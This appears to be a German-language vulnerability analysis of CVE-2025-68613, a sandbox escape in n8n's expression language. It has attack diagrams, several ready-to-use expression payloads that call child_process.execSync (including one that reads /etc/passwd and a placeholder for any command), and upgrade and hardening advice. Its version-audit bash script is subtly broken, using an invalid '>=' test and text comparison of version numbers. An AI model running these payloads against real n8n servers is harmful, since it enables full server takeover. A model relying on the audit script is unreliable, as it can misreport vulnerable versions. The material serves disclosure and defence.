CVE-2025-68613-n8n-rce-analysis

🔓 SCHWACHSTELLENKETTE:
┌─────────────────────────────────────────────────────────────────┐
│  📝 n8n Expression Language → Dynamische Datenverarbeitung     │
│                           ↓                                     │
│  ⚠️  Unzureichende Sandbox-Isolierung bei serverseitigem Eval  │
│                           ↓                                     │
│  💀 Bösartiger Ausdruck durchbricht Sandbox                    │
│                           ↓                                     │
│  🖥️  Zugriff auf Node.js child_process-Modul                   │
│                           ↓                                     │
│  💥 VOLLSTÄNDIGE RCE - Ausführung von OS-Befehlen              │
└─────────────────────────────────────────────────────────────────┘

graph TD
    A[🔐 Authentifizierter Benutzer] -->|Erstellt| B[📝 Neuen Workflow]
    B -->|Injiziert| C[💀 Bösartigen Ausdruck]
    C -->|Löst aus| D[⚡ Ausdrucksauswertung]
    D -->|Nutzt aus| E[🔓 Sandbox-Escape]
    E -->|Greift zu| F[🖥️ Node.js-Laufzeit]
    F -->|Führt aus| G[💥 OS-Befehl über child_process]
    G -->|Erreicht| H[☠️ VOLLSTÄNDIGE SERVERKOMPROMITTIERUNG]
    
    style A fill:#4CAF50,color:#fff
    style C fill:#ff9800,color:#fff
    style E fill:#f44336,color:#fff
    style H fill:#9c27b0,color:#fff

// 🔴 BÖSARTIGE PAYLOAD (NICHT ILLEGAL VERWENDEN)
{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString(); })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('id').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('pwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('cat /etc/passwd').toString() })() }}

{{ (function(){ return this.process.mainModule.require('child_process').execSync('YOUR_COMMAND_HERE').toString() })() }}

┌─────────────────────────────────────────────────────────────────────────┐
│  🔴 GRUNDURSACHE DER SCHWACHSTELLE                                      │
├─────────────────────────────────────────────────────────────────────────┤
│                                                                         │
│  Dem n8n-Ausdrucksauswerter FEHLT ein Sanitizer, der verhindert,        │
│  dass Funktionsausdrücke auf Folgendes zugreifen:                       │
│                                                                         │
│    ❌ this.process        → Node.js-Prozessobjekt                       │
│    ❌ mainModule.require  → Modulladesystem                             │
│    ❌ child_process       → Ausführung von OS-Befehlen                  │
│                                                                         │
│  Dies ermöglicht direkten Zugriff auf Systemmodule und willkürliche     │
│  Codeausführung!                                                        │
│                                                                         │
└─────────────────────────────────────────────────────────────────────────┘

# 🛡️ n8n auf gepatchte Version aktualisieren
npm install -g n8n@latest

# Oder mit Docker
docker pull n8n/n8n:1.122.0

#!/usr/bin/env bash
# 🔍 CVE-2025-68613 n8n-Versionsaudit

echo "🔍 Prüfe n8n-Version..."

if command -v n8n >/dev/null 2>&1; then
    VER="$(n8n --version | tr -d 'v' | head -n1)"
    
    if [[ "$VER" < "1.120.4" ]] && [[ "$VER" >= "0.211.0" ]]; then
        echo "⚠️  VERWUNDBAR: n8n $VER von CVE-2025-68613 betroffen"
        echo "📦 Erforderlich: Upgrade auf 1.120.4, 1.121.1 oder 1.122.0+"
        exit 2
    else
        echo "✅ SICHER: n8n $VER ist gepatcht"
    fi
else
    echo "❌ n8n nicht in PATH gefunden"
fi

# 🛡️ Gehärtetes n8n-Deployment
FROM n8n/n8n:1.122.0

# 👤 Als Nicht-Root-Benutzer ausführen
USER node

# 🔒 Diese Laufzeit-Flags anwenden:
# --read-only --tmpfs /tmp:rw,noexec,nosuid
# --cap-drop=ALL --cap-add=NET_BIND_SERVICE
# --security-opt seccomp=n8n-seccomp.json

#CVE-2025-68613 #n8n #RCE #Expression-Injection #Workflow-Automation 
#Sandbox-Escape #CWE-913 #Critical-Vulnerability #Pentesting #Blue-Team